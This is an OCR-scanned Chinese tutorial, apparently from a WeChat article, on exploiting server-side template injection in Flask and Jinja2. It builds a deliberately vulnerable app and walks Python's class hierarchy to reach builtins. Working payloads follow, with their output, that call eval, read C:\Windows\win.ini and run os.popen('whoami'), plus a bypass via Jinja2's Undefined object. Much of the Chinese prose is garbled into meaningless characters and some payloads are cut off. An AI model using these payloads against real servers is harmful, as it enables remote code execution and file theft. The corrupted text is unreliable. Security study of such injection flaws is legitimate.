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jinja2 @R ER{ INBEERT—1TZE, ER—MBEHRNSMURT. HFAAjinja2#1T
BRNNEK, ESEXERHRNSUMHTERT /B, jinja2XFPython R A AR
PythonBIBXELLLMIEKR. FE. RS, jinja2 WL RBTUNERRIE|inja2BE
MABERBMFRELERN., #ATESEERNASREEREANE.
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__bases__ R[EEETIF

__mro__ R RERABRITHESHELRNNS ZLTAH

__subclasses__() REFEMFIE

__globals__ NFHRNELRERBFAENERGRZEMEXNEREEE 5 func_gl
__builtins__ NEERNSIA, EEEAMAHBIEPIRAN(EEER/), 81 Python HIZE

SREY object 2k:

"', __class__.__mro__[2]
"', class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[1._ _class__.__bases__[0]

[RIB RIS

R
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ZENFFAENF

FREBT—TEEAFlask SSTIALHA:

from flask import Flask, request

from jinja2 import Template
app = Flask(__name__)
@app.route("/")

def index():

name = request.args.get('name', 'guest')

t = Template("Hello " + name) # BIERKR
return t.render() # JEF
if __name__ == "__main__":
app.run(); # /55y flask , Zik 5000 igml

ABREE, MBHEERNNNEnameS B BERTITTE,
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& =N O A ( | 127.0.0.1:5000/?name =admin

Hello admin

AIUXNEBELEKREXEETREEXSS, WANEXSSHEXTMUEBJEESSTINEE=,

~ |l & & http://127.0.0.1:5000/?name= <script>alert(1) </script> g

Hello

Ik SUR...

1
=
nameZHMEBHITMBMAREARN 2E8, fFlu:
name={{2x2}}
é —> O () () | 127.0.0.1:5000/Zname={{2*2}}

Hello 4

name={{'abc'.upper()}}
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< —- O W ®  127.0.0.1:5000/2name={{'abc".upperQ}}

Hello ABC

ANEINRREAANEZATURIIN, ER—BEEREAREERHEMERE:

name={{abs(-1)}}

i“ 0 @ 127000, 15000, P = [fabag- 1)1}

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

EFEa8EmabskENX:

in-reraise

File- "D:\Programs\Python\Python37-32\1ib\site-packages\jinja2y_compat.py", -line-37,

raise -value.with_traceback(tb)
File-“<template>",-line-1, -in-top-level -template-code
jinja2.exceptions.UndefinedError: - "abs" - 1s - -undefined

\ i

Gl e

HATEZHIRE "()" AYLE:

name={{().__class__.__name__}}
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& - 0O m @ | 127.0.0.1:5000/?name={{(.__class_._name_}

Hello tuple

RRINZRER"()"RIE Btuple () . FAMAMEPython B LN ESLH; ZobjectE
B, MATERMNEEZNE:

KA Elobjectzk BL:

name={{().__class__.__base__.__name__}}

& - O mw ® | 127.0.0.1:5000/2name={{()._class__._base__._name_}}

Hello object

5xEXZlobjectlIFRI B F £

name={{''.__class__.__mro__[1].__subclasses__().__name__}}

« = 0O @ @ 1270015000 Tname={[",__class_._mro_[1]}_subdasses_ Q)

BRI [ coicioininvamiomin i paiseme i re eeeis i ee e ies

BE BB R ER R BB R EEEEE PR BE R R R R EE R EEEE R EEE REER AR R R R R

B - e B ™ !

T T F T S Beiis TG oty i et Gine
- . »

srsraERRARaE PeraEEErEEREEER R A EE erEREERERAEEE R E R AR vk el "t akeallable '3, tclass "meakprowy'd, €elass

EE R R E R RN EFE RS FN B R E N R R F N BN RN R EREN RN B R R BN RN R R R RN

"iAt 'y, <class "bytearray'y; <Clasi “byTes'l,
class "1ist"», <class “NooeType'd, <class
"RotImplementeaType® >, <class “traceback’>,
<class "super®>, <class “range’>, <class “diets,
dclass “dlct_kews'>, <class “dict_values':,
delass "dlet_izems'>, <elass “odlet_fterator'>,
class "set’r, <class “str':, <class Cslice’s,
class "statlcmethod’>, <class “complex'>, <class
“fleat', <class “frozenset>, <clags “property’>
cclass “managedbufferty, cclass “memoryview'>,
<class “tuple'd, <class “enumerate’r, <class
"reversed >, <class “stéerrprinter's, <class
"code"y, dclass “framety, <class
"builrin_function_or_sethod">, <class “sethod’>,
cclass “function®s, <class “mepoingprowy’s,
delass "penecator'>, <class 'petset_cetcripterty,
<class “wrapper_descriptor>, <class
"method-wrapper'>, <class "ellipsis'>, <class
"mesber_gescriptor's, <class
“types.Siepletamespace’ s, <class “PyCapsule’s,
<class "longraage_iterator >, <class ‘cell's,
cclass "instancemethod">, <class
"classmstthod_descriptor >, <class
"method_descriptors, <class “callable_iterator's
cclass “iteratorty, <class “corcutime’>, <class
"coroutine_wragper's, <class "soduledef's, <class
"mosule’r, <class ‘Encodingtapy, fclass
“fieloraseiterator's, <class “formatteriterator’:
cclass “Fllter'd, <class “map>, <class “zip'y,
« I ,. 4class "BaseBnception®s, <class 'hast'>, <class

BE BB R B R EE B EEE B EEEEEEE R R EREE R EEEE B EEE EEEEE R R R R R
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ARUFEBERZ, EXERNBEXRINAEBRRPEHevalziHopentIZE B KF T A
A IAMATABEIEMXH ., EXREANT:

code = 'eval' # BEHEE eval HEHIANERRFIIER
i=20
for ¢ in ().__class__.__base__.__subclasses__():
if hasattr(c,'__init__"') and hasattr(c.__init__,"'__globals__"') and c
print('{} {}'.format(i,c))

1i=1+1

Flas sk-SSTI>py -2 E:\ :7' c-SSTI\test2. py
warnings. Unrnlu*HeH
warnings. catch_warnings .
_weakrei:et._Itar‘T1HMUHard
_weakrefset. VeakSet’
'site. Printer >
'site.Quitter .
' codecs. IncrementalBncoder’ >
' codecs. IncrementalDecoder’ >

ul

DD oW oD o oD o
o oD o oD o W ;g wm

STI>py -3 E:\ZF > \Flask- EETI test2. py
_IIDZEH_IH@DItllb._Mudul&LUu;
_frozen_ importlib. DummyModulelLock’ >
_frozen_importlib. ModulelLockManager >
_frozen_importlib. installed safely >
_frozen_importlib. NoduleSpec >
_frozen_importlib_ -?Tprrfl FileLoader’ >
_frozen importlib_external. NamespacePath >
_frozen_importlib_externa ._NumeapaueLuader’?
frozen_importlib_externa l.FilEFinder’f
"Hﬂ&u:.In-rwmuutulﬁnundur3“
' acs. IncrementalDecoder
'uuﬂeus.ufrwme ader¥riter’ )
'uudeub.ufrkamﬁucuder'p
' wrap_close
builtins. Quitter’ |
builtins. Printer >

ul

https://mp.weixin.qq.com/s/Uvr3NIKrzZoWyJvwFUFIEA 10/17
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E£Python 2/3MMAFEXASZSEBIAREERPEH A Seval, XENTURENER
B FEAPython 2/3RAFKNER RS N77HEE: class 'site.Quitter’,

HNMEEBEETXNclass 'site.Quitter'Bglobal IR 1E T #B 7T LA 47 A0 L& 58 #4 -

name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['_

= D | AT S000 T §30._clivi_,_bade_,_subclasied_ (7Tt _ohshali_ [ BT o £ e

Hello [ticarrsy’” | TodexEreor’: ol help’: Tupe belp) for interactive help, o helplobjoct) for belp about obpect, ‘van': , SyotaxErmed’: | 'onicode” | UncodeDeocodeErmor’: | 'memanyuaen’. | ‘nmstanee’ |
“copyright’: Copymght () 2000.2019 Python Software Foundation. All Rights Reserved. Copymighs () 2000 BeOpen com. All Raghts Reverved. Copyrighs (<) 19952001 Corporation for National Research
Ieamanves. Al Riphis Reserved. Coprmight (c) 19911995 Snchting Mathematiasch Centruen, Amsterdam. All Rights Beserved . NWameEmee': | BytesWaming” | 'dect’: | input” oot |, an' | SystemExit” |,
“SandardError: | format, repc, worted: | Falee': Falve, FrantmeWarning' . Tadt™ ,ter’ |, ‘reload |, "Wamang': |, "__package " MNone, round: ,'du™ omg’set’, Tndes”: | reduce’s |, Cinbern’ |, ssubclany |
"Ellipsm” Eﬂ.lptu_'EDFEnm‘ Tocaly” 'Euﬂ'ﬂErwf’ “stice’: , FloatingPowntError™: |, “vam’: |, ‘petany” | "abs™ | “emif Use exal) oo [‘u"l-athannmeM'plur' True" T|1.||r Tmr'ﬁ‘um,;‘

TmportWarnmg”™ | Tone" None, hash’: | ReferenceErmor™ |, Ten’: , "eredit’ Thanks o CWT, (.'\'RI BEOpmc\eﬂ Zope Corp and a cast of dh s for supporting Python de SH
n““mtmm;&tmm “Bropenset’; | _I_rnme‘_.__thl.l.hm‘_‘ nni‘ ‘wuper’;, TvpeEmor”. , lacenae’; T}qumaﬂmufﬁcﬁlbquumlqﬁww 'L.m'lul. o filver™: |
‘rasmpe’ thad’: , SywternE . BaneE pents, s, MemoryEmer'; |, Seopheratson’ | ﬂﬁ-ﬂ- davmed: | eeumensse’ | Capply” l.mhlp.‘.‘-rm' 'q:uq'f' Use
qulu}jmfdlphnhmumhmuﬂ' 'me .r.p' T 'hq ‘ment, I.up-anIEnnl‘ che’: |, wrange” npe_dae Bmhmﬁmm.mwl.ﬂm

ebjets. ' alocwonhy: Nose o e MMHW:W -nth-:ﬂ ‘E-u:wmn weErver’; . reversed | UnscodeEncodeErvor , TOError samy’; , “delamr’; | o’

‘raw_snput |, SymaWameng” | “compile™ AlmEr:H' s, property’ "G-muudf'&.l.l' Lnl' HeyEmee”: | ‘cosree’: | PendingDeprecancaWamang” - 'Emmnﬁnnl‘:.

‘wrsehe’: Wl OSEmee’ .Mﬂm'ﬁ o s’ Lmum; P oy ‘amy” |, eomplex . bool | ValueErod \untmpnrmm Notleplomonted, mag . Ve Cebgest
TabError , "callable” | “ZeroDiissonErmor’: m _ Sibug_ = Troe, Tndeotsticurror: , AsseroaErmor: , ‘clamethod: , UnbomdLocalErvor’ , Motlaph dErven’: .‘ bateEror’: , "OverflowEmor':
» WindenaEree™: )

AAEBR LT SRR Heval, open. fileFHF, NBERAE., XFEFHANHM AT AR Z A
BHBNET,

HMITRKBabs(-1):

name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['_

o I ) ‘ tnr = 127.00.1:5000 2 name={l{}._class__.__base____subdlasses_([77]._init_ _globals_["_builtins_""eval'}{"abs(- 1)1}

Hello 1

Efabs(-1ELWNTHI, ZHBMNELZAIIEITHE, MTTEAAARTHOR
BB,

HEHAFERAPython 2/3kMAMPayload:

RS A
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__buil
= = O @ O 12T 05000 T name n {0 _class_._base . subkclastes _0[TT_init__glohal [ besitins I open J0CAWIndows wirLina JLre () wi

Hella ; for 16-bit app support [fonts] [extensions] [mei extentions] [files] [Mail] MAPI=1 CMCDLLNAME3 2emapi32 dll CMC=1 MAPIX=] MAPIXVER=10.0.1 OLEMewaging=]

CRY S

n
=

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__buil
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i SO o I~ 12700005000 Tnane 5[, _class_._bave_,_wubsclasses_00TTL._eir_,_ghobals [ bultng_Tleval [ _impont_(edlpopeniwhoamiresd) 0] I

Helle corp P

EAERIFIXEPayloadBERTIE? BABREMNTLANETURBBE—LERKENR?

fRaiFn £ S

EEFHER

SEEREMAMBEPayload AN RTENINER, BFZRLEPREARLT —THIEN
Payload:

name={{().__class__.__base__.__subclasses__().c.__init__.__globals__['__t

MITER:

“— 0 @ @ | 127.00.1:5000name={{0._class_._base__._subclasses_{.c_init_._globals_['_builtins__)['eval 1(abs(-1)7)}
Hello 1

REARIBE I T !
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BART L =VE B INE?

().class.base.subclasses()EENREIAN EobjectXBMMAEFEMNIIR, BAMNIZ
BEcXTEMN,

Bt ENZERRSIHEIRRES00, PR$BZ 2 B & E RAttributeError: 'list' object
has no attribute 'c', ERERAMERINNITT, XiLEEFIREjinja2 P FE IR,
IREBPYythonGITHIEXRERZAEN,

MAXFNERNME TX T RNINItRKABKRZE TIE?

name={{().__class__.__base__.__subclasses__().c.__init__}}

/= Lt .
HITER:
- [~ 12700, V:5000, v
Helle
o | aC m B £ 9k
E T NS000 - 1 Helle <boend method Unsefined, _indt__ of Undefineas

LY traene=([0._clas_._bate_ . subcls

EARAR—TUndefinedZ®EH, UM RNRUMAREXNTEMSRE AUndefinedE
B MPythonEFERREXTEEN, UMEIREXPUndefinedEjinja2 iEZR 1R
T, BME]iNja2 i ERPVEBHESF, mEEruntime.pyd# 2 TUndefined X1

class:
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4p runtime.py

('_undefined_hint',-'_undefined_obj',-"_undefined_name’,
' undefined exception')
init  (self, -hint e,-obj-missing, - name-None, - exc-UndefinedError):
self._undefined_hint---hint
' undefined obj---obj
._undefined_name- - -name
._undefined exception

internal
def- tail

#EBZobjectkB, HFEAXBHMEIK., N THIARXTclass, BMNEWEH

_fail_with_undefined_error:

name={{().__class__.__base__.__subclasses__().c._fail_with_undefined_errc

— 0 127001
Hello
O- & (&
ol | A iEEEllln B o
& 12700015000 - 1 Hello dbound method Undefined. fall with_undefined_error of Undefineds

) Pnames[[0._clss_._base_.  subls

OK, fINTHR®, ERXIHclass!
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{@INZAR# ~
BB class

BRALZUndefined FHEMBEEX —TAMEXINZEEHLNZEUndefined:

name={{a.__init__.__globals__.__builtins__}}

= O @ @ | 1270u0.7:5000 Tname =([a._init_})

Hello

! W & o
1 ik:l.ln thound method Undefined. _indt__ of Undefineay

4 g 1Z7.0.0.1:5000
1 Tname=({a._init_))

BEAUndefined XA AT AIN, MHEMNMAIMNEEMBNE/global MR EERRFEE
EX

name={{a.__init__.__globals__.__builtins__}}

= S o T Yy | 1270005000 name={a._init__._globals_._ builtins_J)

Hello {{__name__" "boiluns’,__doc__": “Built-in funcrions, exceptions, and other objects. 'n'nNoteworthy: None 15 the ‘mil object; Ellipsis represents .. in
slices.”,'_package_":","__loader_" " spec__": ModuleSpeciname=hyiliing', loader=),'__build_class_ " [ _impor_ "] “abs’; ,‘all’, ‘any’; , ascii’; , ‘bin'-,
‘breakpoint’: |, “callable’: | "chr’: | ‘compale’: | 'delane”: | "dir”: |, "divened’: | “exes’: | "formar’ |, "getany’; | "globals’; | hasanr’: | hash’: | Chex”: | ;| inpat’; |
‘isinstance’; | ‘issubclass’: | Crter’: | ‘len’; | ‘locals’: | ‘max’: | ‘min’: | ‘next’: | eet’: | ‘ord’: | ‘pow’: |, ‘print’: | ‘repr’: | ‘round’: | ‘setartr’: | ‘sorted”: | sum': | ‘vars': | Wone':
None, ‘Ellipsis”: Ellipsis, Wotlmplemented': Notlmplemented, ‘False': False, "True": True, ‘bool’: |, ‘memonyview”: | ‘byvtearray’: | ‘byvies': | ‘classmethod': | ‘complex’:
L et | 'enumerate’: |, "filter”: | "floar’: | 'frozenset’ | ‘property”: . 'int’: | list”: | ‘map’; | ‘object’ | range’: |, ‘reversed’: | "set’: | 'shice”: | “staticmethod”: | 'str'; | ‘super’: |
‘taple”: |, ‘pe”: |, ‘mp’: ,'__debug_ " True, ‘BaseException': |, ‘Exception’: , ‘TypeEmor”: | "StopAsvnclteration’: | "Stoplteration”. | ‘GeneratorExat”: | "SystemExut’: |
‘KevboardIntermupt”: | ImporiError”: | ModuleNotFoundEmor”: | ‘05Emor’: | ‘EnvironmentError”: | TOEmor”: | "WindowsEmor: | ‘EOFEmer’: | RuntimeEmor’: |
RecurnonEmes”: | NotlmplementedErmrer”: |, WameEmer”: | UnboundLocalErres”: | "AnnbuteEmer”: | "SymtaxErrod”: | ‘IndentationError’: | ‘TabErmor’: |
LeokupEmar: | IndexErsor”: |, KevEmar”: |, ValueEmos": | UmcodeEmar': | UnicodeEncodeEmor’: | UnicodeDecodeErmor: |, UnicodeTranslateErman™: |
‘AssemionError’; | "AnthmencErmror”: | FloatingPoumtError”; | "‘OverflowError’: , ‘ZeroDivisionError”: |, ‘SvstemError’: , ‘ReferenceErmor’: | "MemorvError': |,
‘BufferErver’: , "Warmang': , UserWamung” | DeprecationWarning: . PendmgDeprecanenWarnung': | "SvaaxWarmng': , RuatimeWarning”: | Funge Warning”: |
ImpontWarmag , UnicodeWarng” | ByvtesWamng” | ResourceWarning' | "ConnectionBrror’: | BlockinglOEsmrer: | BrokenPipeEsror” | 'CluldProcessError |
‘ConnectionAboredEmor’: | ‘ConnectionRefusedErrar’: | 'ConnsctionResetError’: | FileExistsErvor’: | FilaNotFoundErrer': | TsADirectorvErrar’ |
WotADirectorvError: | TaterruptedError: |, PermissionError’: | ProcessLockupErrar’; | TimeowErmor': u': Use quat) or Curl-Z plus Revermn 1o exit,
“exat’: Use exit() or Corl-Z plus Retum to exit, ‘copyright’: Copyright (¢) 2001-2019 Python Software Foundation. All Rights Reserved. Copnight () 2000
BeOpen com. All Rights Reserved. Copyright () 1995.2001 Corporation for National Research Intiatives. All Rights Reserved. Copyright (2) 1991-1995
Stichting Mathematisch Centrum, Amsterdam_ All Rights Reserved. | ‘credits’: Thanks to CWI, CNRI, BeOpen com, Zope Corporation and a cast of thousands for
supporting Python development. See www pyvthon org for more information., hicense”: Tvpe License() to see the full lcense text, help”: Tvpe help() for interactive
help, or helplobject) for help abour object.)

https://mp.weixin.qq.com/s/Uvr3NIKrzZoWyJvwFUFIEA 15/17



2020/7/27 T Flask SSTI, fEERA G B4 3
ZHEF, TR UERITB R eval, openEE, WERE.

7

THNRSEAEXAE

i1t Payload

NUEtEMNBEZMRALEKNNPayload, FRKEARKERE, JiEMHBETRT,
MHEHFERS Python 2/3 RARK Payload:

BEER

{{a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()}]

= O @ 3| 12700015000, trame = (fa._init_._globals_, _ builiting_open{ied 2C0WWindowswinuinied 2 Lread(l W

Hello ; for 16-but app suppost [fonts] [extensions] [mer extensions] [files] [Mal] MAPI=1 CMCDLLNAME 2emape32 dll CMC=1 MAPIN=] MAPIXVER=1.0.0.1 OLEMessaging=]
mLRAT:
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoan

B
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KRG

MEE sFHE

PEMMARE, APXRES, FFERFR

IR HEIDXKIE B UFSSEA
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